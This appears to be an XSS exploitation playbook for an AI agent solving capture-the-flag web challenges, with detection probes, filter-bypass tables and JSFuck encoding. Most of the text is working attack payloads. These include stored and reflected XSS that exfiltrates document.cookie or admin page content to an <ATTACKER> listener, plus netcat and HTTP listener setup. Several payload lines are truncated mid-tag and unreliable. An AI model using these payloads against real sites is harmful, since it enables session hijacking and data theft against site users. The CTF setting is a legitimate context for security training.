Cross-Site Scripting (XSS) Exploitation
Exploits insufficient input/output sanitization to execute JavaScript in a victim's browser context.
Win Condition — Identify FIRST
Pattern A — Bot/Cookie Chain (classic CTF):
- A headless browser bot visits a URL you supply via
/reportor/contact - Goal: exfiltrate
document.cookieor admin page content to your listener - Signals:
/reportendpoint exists, challenge mentions "admin visits", cookie in session
Pattern B — Server-Side Alert Trigger (Cross 30/31/32 series):
- NO bot, NO cookie exfiltration, NO
/reportendpoint (returns 404) - The challenge evaluates reflected JS server-side;
alert("XSS")oralert(1)in the response = flag - Flag appears directly in the HTTP response body when alert triggers
- Signals: challenge name contains "Cross", filter says "Sorry, you can't use that tag",
new_umbrella/error_umbrellain response, alphanumeric filter active - Do NOT: start listeners, look for /report, try document.cookie (setter is frozen — TypeError)
Quick check which pattern:
curl -s "$TARGET/report" -o /dev/null -w "%{http_code}" # 404 = Pattern B (Cross)
curl -s "$TARGET/" | grep -i "report\|bot\|admin" # Pattern A signals
Detection
# Reflected XSS probe — check if input is reflected unescaped
curl -s 'http://<TARGET>/search?q=<script>alert(1)</script>' | grep -i '<script>alert(1)'
# Check for reflection in different contexts
curl -s 'http://<TARGET>/search?q=xss"test' | grep 'xss"test' # attribute context
curl -s 'http://<TARGET>/search?q=xss'"'"'test' | grep "xss'test" # JS string context
# Test attribute injection
curl -s 'http://<TARGET>/page?name=test"onmouseover="alert(1)' | grep 'onmouseover'
# Test common input fields via POST
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x
curl -s 'http://<TARGET>/register' -d 'username=<script>alert(1)</script>&password=test'
Stored XSS with Bot Exfiltration (CTF Pattern)
The standard CTF XSS workflow:
- Find a stored input (comments, profiles, messages)
- Inject a payload that exfiltrates data when the admin bot views it
- Trigger the bot (usually a
/reportendpoint) - Receive exfiltrated flag on your listener
# 1. Start a listener to receive exfiltrated data
python3 -m http.server 8888 &
# Or use netcat:
nc -lvnp 8888 &
# 2. Inject stored XSS that exfiltrates cookies
# Basic cookie steal
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
# Image tag (bypasses many filters that block <script>)
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x
# SVG-based
curl -s 'http://<TARGET>/comment' -d 'body=<svg
# Fetch admin page content and exfiltrate
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/admin").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?d="+btoa(t)))</script>'
# Fetch sensitive endpoint directly (adjust path to observed app structure)
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/api/secret").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?f="+btoa(t)))</script>'
# 3. Trigger the bot to visit the page with injected XSS
curl -s 'http://<TARGET>/report' -d 'url=http://<TARGET>/page-with-stored-xss'
curl -s 'http://<TARGET>/report' -d 'url=/page-with-stored-xss'
# 4. Check listener output — decode base64 if used
echo '<base64_response>' | base64 -d
Reflected XSS Flag Extraction
# If the flag is in the admin's cookie and there's a report/visit endpoint:
# Craft URL with reflected XSS that steals cookies
PAYLOAD='<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
curl -s "http://<TARGET>/report" -d "url=http://<TARGET>/search?q=$ENCODED"
Filter Bypass Techniques
# Case variation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x
# No parentheses
<img src=x
<img src=x
# No quotes / no spaces
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>
# HTML entity encoding bypass
<img src=x
# JavaScript URL scheme
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">
# Event handlers (bypass <script> tag blocks)
<body
<input autofocus>
<marquee
<details open
<svg
# Template literal + fetch (modern, avoids quotes)
<img src=x
# Double encoding (if server decodes twice)
%253Cscript%253Ealert(1)%253C/script%253E
# If angle brackets blocked — inject into existing JS context
';alert(1);//
"-alert(1)-"
XSS to Flag — Complete CTF Workflow
- Identify injection point — test all inputs for unescaped reflection
- Determine context — HTML body, attribute, JS string, URL?
- Craft payload for context — use appropriate escape/injection
- Check for bot/report endpoint —
/report,/admin/visit,/contact - Set up exfil listener —
python3 -m http.serverornc -lvnp - Inject + trigger bot — store payload, then report URL to bot
- Check listener — decode response, extract flag
- Common flag locations — admin cookies,
/adminpage,/.envendpoint, DOM elements
Cross-Series Budget Cap (MANDATORY for Cross N challenges)
When the challenge name is "Cross N" (e.g., Cross 11, Cross 24) and Pattern B is confirmed (no /report, filter active):
Hard convergence rule — maximum 5 filter bypass attempts before JSFuck:
- Try 3 event-handler variants (
<input autofocus>,<details open>,<svg/onload=alert("XSS")>) - Try 1 JSFuck encode (
JSFuck.encode('alert("XSS")', false, true)) - Try 1 partial-range bypass (z/Z char if angle-bracket filter suspected)
If none trigger the flag in 5 attempts: the filter is unusual. Do NOT iterate more payload variants manually — this consumes the context budget. Instead write exploit/CONVERGED.md with what was tried, then return to orchestrator with "Filter not bypassed in 5 attempts — needs specialist analysis".
Anti-pattern: Iterating 20+ curl variants of payload mutations (changing event handler names, encoding methods, etc.) with zero flag response. Each iteration is one context turn — 20 iterations = 20 turns = context exhausted = timeout. Stop at 5.
JSFuck — Alphanumeric Filter Bypass
Use when: alphanumeric chars are blocked but []()!+ pass through (Pattern B / Cross series).
# Install jsfuck locally (node is pre-installed in sandbox)
npm install jsfuck 2>/dev/null
# Encode with runInParentScope=true (uses eval, avoids Function constructor)
node -e "
const {JSFuck} = require('./node_modules/jsfuck/jsfuck.js');
const payload = JSFuck.encode('alert(\"XSS\")', false, true);
console.log(payload);
" > /tmp/payload.txt
# Verify payload has zero alphanumeric chars
node -e "const p=require('fs').readFileSync('/tmp/payload.txt','utf8').trim(); console.log('len:',p.length,'alnum:',p.replace(/[^a-zA-Z0-9]/g,'').length)"
# Submit via curl, grep for flag in response
PAYLOAD=$(cat /tmp/payload.txt)
curl -sg "$TARGET/page?name=${PAYLOAD}" | grep -i "flag\|new_umbrella\|alert"
Function-constructor TypeError fallback:
If server returns TypeError: Attempting to change the setter of an unconfigurable property, the JS sandbox blocks Function constructor access. This is a known JSFuck failure mode in strict-mode / hardened sandboxes.
Fix: use runInParentScope=true (third argument) — switches from Function constructor to eval() injection:
# Default (broken in strict sandboxes): JSFuck.encode(str, false, false) <- Function constructor
# Fixed: JSFuck.encode(str, false, true) <- eval injection
node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); console.log(JSFuck.encode('alert(1)',false,true))"
If runInParentScope=true still fails, try raw eval wrapping:
# Encode just the string 'alert("XSS")' then wrap in eval manually
node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); const s=JSFuck.encode('\"alert(\\\\\"XSS\\\\\")\"',false,true); console.log('eval('+s+')')"
Cross Challenge Pattern (No Bot / No Cookie)
Win condition: server-side JS evaluator detects alert() call in reflected input. No /report endpoint. No bot. No listener needed.
# Quick alphanumeric filter probe
curl -sg "$TARGET/page?name=abc" | grep -i "error_umbrella\|sorry\|blocked" # blocked = filter active
curl -sg "$TARGET/page?name=[]()!+" | grep -i "new_umbrella\|ok" # specials pass = JSFuck viable
# Inject and check response — success indicator appears in HTTP 200 body when alert triggers
curl -sg "$TARGET/page?name=$(cat /tmp/payload.txt | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))')" | grep -i "new_umbrella\|success\|alert\|xss"
Do NOT waste time on:
/report,/contact,/visitendpoints (404 on Cross challenges)python3 -m http.serverlisteners (no bot will callback)document.cookieexfiltration (cookie setter is frozen — signals Pattern B environment)
Partial-Range Tag Filter Bypass
Some Cross challenges (e.g., filter-bypass example) use a regex like <[a-yA-Y/]+ that blocks < followed by letters a–y / A–Y but excludes z/Z. Probe and bypass:
# Probe whether tag-name first char escapes the filter
curl -sg "$TARGET/page?name=<a>" | grep -i "sorry" # likely blocked (a in range)
curl -sg "$TARGET/page?name=<z>" | grep -i "sorry" # not blocked = z escapes
curl -sg "$TARGET/page?name=<Z>" | grep -i "sorry" # check uppercase Z
curl -sg "$TARGET/page?name=< img>" | grep -i "sorry" # space after `<` may bypass
# Once a non-blocked first-char is found, build payload with valid HTML tag.
# PhantomJS treats unknown tag names as elements; event handlers still fire on
# attribute parsing. Try (URL-encode with python3 urllib.parse.quote):
# <Z src=x>
# <Zsvg
# If unknown tags don't fire events, use `<svg/onload=...>` style with the
# regex-escaping prefix in front: e.g. some filters with `+` quantifier let
# `<>` (zero letters) slip through followed by `<svg ...>` later in the same
# attribute — test both placements.
Key insight: re.findall + + quantifier requires ≥1 matching char immediately after <. Any first character outside the class (digits, whitespace, z/Z, special chars) bypasses the regex entirely.
Filter Bypass Cookbook
When basic payloads are blocked, use this table to pivot to the next bypass class after ≤3 failures per class:
| Filter blocks | Bypass class | Example payloads |
|---|---|---|
<script> tag |
Event handler on any element | <svg>, |
alert keyword |
Property access / obfuscation | window['ale'+'rt'](1), (()=>alert)()(1), top[/al/.source+/ert/.source](1) |
Quotes " and ' |
Template literals / charcode | <svg>, |
( and ) |
Template literal call | <svg>, |
alert() overridden by prototype |
iframe srcdoc / new window | <iframe srcdoc="<script>parent.alert(1)</script>">, <a href=#> |
| Tag whitelist (specific tags only) | Style/CSS injection | <div style="background:url('javascript:alert(1)')"> |
Angle brackets < > |
Inject into existing JS context | ';alert(1);//, "-alert(1)-", \;alert(1);//` |
| Prototype chain hardened | Direct assignment | Object.prototype.toString=alert |
Pivot rule: After 3 payloads in the same bypass class all fail → move to the NEXT row. Do not iterate within the same class more than 3 times.
Bypass-Class Rotation Rule
The pivot rule in the filter-bypass table limits depth per class. This rule enforces breadth across classes — no more than 2 payloads from the same bypass class against the same endpoint before rotating.
Track classes in exploit/xss_classes.txt:
# Before each payload attempt
CLASS="event-handler" # name of bypass class for this payload
NTRIED=$(grep -c "^${CLASS}$" exploit/xss_classes.txt 2>/dev/null || echo 0)
if [ "$NTRIED" -ge 2 ]; then
echo "SKIP: ${CLASS} already tried ${NTRIED} times — rotate to a different class"
else
echo "${CLASS}" >> exploit/xss_classes.txt
# ... craft and send payload ...
fi
Bypass classes to rotate among (try at least 4 per endpoint):
| # | Class name | Representative payloads |
|---|---|---|
| 1 | tag-based |
<script>, <svg>, <img> |
| 2 | event-handler |
onload, onerror, onfocus autofocus, ontoggle |
| 3 | javascript-url |
<a href="javascript:...">, <iframe src="javascript:..."> |
| 4 | template-literal |
alert`1`, String.fromCharCode(...), hex/unicode escapes |
| 5 | iframe-srcdoc |
<iframe srcdoc="<script>parent.alert(1)</script>"> |
| 6 | css-style |
<div style="background:url('javascript:...')">, expression(...) |
| 7 | js-context-inject |
';alert(1);//, "-alert(1)-", inject into existing script block |
| 8 | prototype-abuse |
Object.prototype.toString=alert, DOM clobbering |
Why class-diversity beats deeper iteration: Filter authors typically patch one class at a time. Rotating finds the unpatched class in ~4 attempts; iterating one class to its 10th variant wastes budget on an already-hardened surface.
HARD RULE: If exploit/xss_classes.txt shows ≥4 classes each tried 2× with no bypass — stop manual iteration. Write exploit/CONVERGED.md and return to orchestrator.
Tools
| Tool | Purpose |
|---|---|
| python3 -m http.server | Simple HTTP listener for exfiltration (Pattern A only) |
| nc -lvnp | Netcat listener for raw data (Pattern A only) |
| node + jsfuck npm | Alphanumeric filter bypass via JSFuck encoding (Pattern B) |
| XSStrike | Automated XSS detection with WAF bypass |